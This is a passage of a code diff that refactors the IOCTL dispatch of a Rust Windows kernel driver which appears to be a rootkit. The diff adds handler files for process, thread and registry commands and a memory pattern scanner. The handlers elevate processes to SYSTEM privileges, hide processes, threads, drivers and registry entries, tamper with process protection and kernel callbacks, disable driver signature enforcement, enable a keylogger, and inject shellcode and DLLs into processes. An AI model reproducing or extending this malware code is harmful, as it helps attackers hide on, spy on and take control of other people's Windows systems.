|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -15,6 +15,8 @@ use {
|
||||
winapi::shared::ntdef::LIST_ENTRY
|
||||
};
|
||||
|
||||
pub mod ioctls;
|
||||
|
||||
/// Represents a module in the operating system.
|
||||
pub struct Module;
|
||||
|
||||
|
||||
77
driver/src/process/ioctls.rs
Normal file
77
driver/src/process/ioctls.rs
Normal file
@@ -0,0 +1,77 @@
|
||||
use {
|
||||
core::mem::size_of,
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{
|
||||
ioctls::*,
|
||||
structs::{
|
||||
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess
|
||||
}
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
use {
|
||||
crate::process::add_remove_process_toggle,
|
||||
shared::structs::ProcessProtection,
|
||||
};
|
||||
|
||||
pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Elevates the specified process to system privileges.
|
||||
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ELEVATE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Hide / Unhide the specified process.
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Terminate process.
|
||||
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_TERMINATE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Modifying the PP / PPL of a process.
|
||||
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_SIGNATURE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Lists the processes currently hidden and protect.
|
||||
ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATION_PROCESS");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// If the feature is a mapper, these functionalities will not be added.
|
||||
#[cfg(not(feature = "mapper"))] {
|
||||
|
||||
// Responsible for adding shutdown protection / memory dumping for a process.
|
||||
ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_PROTECTION_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ use {
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub mod callback;
|
||||
pub mod ioctls;
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub use callback::*;
|
||||
|
||||
|
||||
52
driver/src/registry/ioctls.rs
Normal file
52
driver/src/registry/ioctls.rs
Normal file
@@ -0,0 +1,52 @@
|
||||
#![cfg(not(feature = "mapper"))]
|
||||
|
||||
use {
|
||||
crate::{
|
||||
handle_registry,
|
||||
registry::{Registry, utils::KeyListType}
|
||||
},
|
||||
shared::structs::TargetRegistry,
|
||||
crate::utils::ioctls::IoctlHandler,
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::ioctls::{
|
||||
IOCTL_HIDE_UNHIDE_KEY, IOCTL_HIDE_UNHIDE_VALUE, IOCTL_REGISTRY_PROTECTION_KEY,
|
||||
IOCTL_REGISTRY_PROTECTION_VALUE
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP}
|
||||
};
|
||||
|
||||
pub fn get_registry_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Adding protection for registry key values.
|
||||
ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Added protection for registry keys.
|
||||
ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -12,6 +12,7 @@ use {
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub mod callback;
|
||||
pub mod utils;
|
||||
pub mod ioctls;
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub use callback::*;
|
||||
|
||||
|
||||
45
driver/src/thread/ioctls.rs
Normal file
45
driver/src/thread/ioctls.rs
Normal file
@@ -0,0 +1,45 @@
|
||||
use {
|
||||
core::mem::size_of,
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
shared::{
|
||||
ioctls::{IOCTL_ENUMERATION_THREAD, IOCTL_HIDE_UNHIDE_THREAD, IOCTL_PROTECTION_THREAD},
|
||||
structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||
crate::{handle_thread, thread::Thread, utils::ioctls::IoctlHandler},
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
use {
|
||||
crate::thread::add_remove_thread_toggle,
|
||||
shared::structs::ThreadProtection,
|
||||
};
|
||||
|
||||
pub fn get_thread_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
|
||||
// Hide the specified Thread by removing it from the list of active threads.
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
|
||||
let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// ?
|
||||
ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATION_THREAD");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Responsible for adding thread termination protection.
|
||||
ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_PROTECTION_THREAD");
|
||||
let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
}
|
||||
@@ -20,6 +20,7 @@ use {
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub mod callback;
|
||||
pub mod ioctls;
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub use callback::*;
|
||||
|
||||
|
||||
@@ -1,222 +1,37 @@
|
||||
use {
|
||||
crate::{
|
||||
callbacks::{Callback, CallbackList, CallbackOb, CallbackRegistry},
|
||||
driver::Driver, injection::{InjectionDLL, InjectionShellcode},
|
||||
keylogger::set_keylogger_state, module::Module,
|
||||
process::Process, thread::Thread, *
|
||||
},
|
||||
alloc::boxed::Box,
|
||||
core::mem::size_of,
|
||||
hashbrown::HashMap,
|
||||
lazy_static::lazy_static,
|
||||
shared::{
|
||||
ioctls::*,
|
||||
structs::*,
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
use {
|
||||
hashbrown::HashMap,
|
||||
lazy_static::lazy_static,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS},
|
||||
crate::{
|
||||
process::add_remove_process_toggle,
|
||||
thread::add_remove_thread_toggle,
|
||||
handle_registry,
|
||||
registry::{Registry, utils::KeyListType}
|
||||
callbacks::ioctls::get_callback_ioctls,
|
||||
driver::ioctls::get_driver_ioctls,
|
||||
process::ioctls::get_process_ioctls,
|
||||
thread::ioctls::get_thread_ioctls,
|
||||
registry::ioctls::get_registry_ioctls,
|
||||
injection::ioctls::get_injection_ioctls,
|
||||
misc::ioctls::get_misc_ioctls,
|
||||
module::ioctls::get_module_ioctls,
|
||||
},
|
||||
shared::structs::{ProcessProtection, ThreadProtection, TargetRegistry},
|
||||
};
|
||||
|
||||
type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
|
||||
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
|
||||
|
||||
lazy_static! {
|
||||
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = {
|
||||
let mut ioctls = HashMap::new();
|
||||
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ELEVATE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
get_process_ioctls(&mut ioctls);
|
||||
get_thread_ioctls(&mut ioctls);
|
||||
get_driver_ioctls(&mut ioctls);
|
||||
get_callback_ioctls(&mut ioctls);
|
||||
get_injection_ioctls(&mut ioctls);
|
||||
get_misc_ioctls(&mut ioctls);
|
||||
get_module_ioctls(&mut ioctls);
|
||||
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_TERMINATE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_SIGNATURE_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATION_PROCESS");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
|
||||
let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATION_THREAD");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
||||
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
||||
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENABLE_DSE");
|
||||
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_KEYLOGGER");
|
||||
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_ENUMERATE_MODULE");
|
||||
let mut information = 0;
|
||||
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
||||
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// If the feature is a mapper, these functionalities will not be added.
|
||||
#[cfg(not(feature = "mapper"))] {
|
||||
|
||||
ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_PROTECTION_PROCESS");
|
||||
let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_PROTECTION_THREAD");
|
||||
let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
|
||||
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
|
||||
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
get_registry_ioctls(&mut ioctls);
|
||||
}
|
||||
|
||||
|
||||
ioctls
|
||||
};
|
||||
}
|
||||
@@ -165,6 +165,7 @@ macro_rules! handle_module {
|
||||
macro_rules! handle_callback {
|
||||
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
|
||||
use shared::vars::Callbacks;
|
||||
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
|
||||
|
||||
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||
Ok(buffer) => buffer,
|
||||
@@ -206,7 +207,8 @@ macro_rules! handle_callback {
|
||||
|
||||
($irp:expr, $type_:ty, $ioctl:expr) => {{
|
||||
use shared::vars::Callbacks;
|
||||
|
||||
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
|
||||
|
||||
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(status) => return status,
|
||||
|
||||
@@ -20,12 +20,13 @@ use {
|
||||
},
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, *
|
||||
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap,
|
||||
_POOL_TYPE::NonPagedPool, *
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
||||
}, _POOL_TYPE::NonPagedPool,
|
||||
},
|
||||
};
|
||||
|
||||
#[cfg(not(test))]
|
||||
@@ -415,6 +416,39 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
None
|
||||
}
|
||||
|
||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||
/// # Parameters
|
||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
||||
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
||||
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*const u8>`: The address of the target function if found.
|
||||
///
|
||||
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
|
||||
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == section_name {
|
||||
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len()).position(|window| {
|
||||
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
return Some((section_start + offset) as *const u8);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the address of a specified Zw function.
|
||||
///
|
||||
/// # Parameters
|
||||
|
||||
@@ -50,4 +50,5 @@ pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, ME
|
||||
pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
Reference in New Issue
Block a user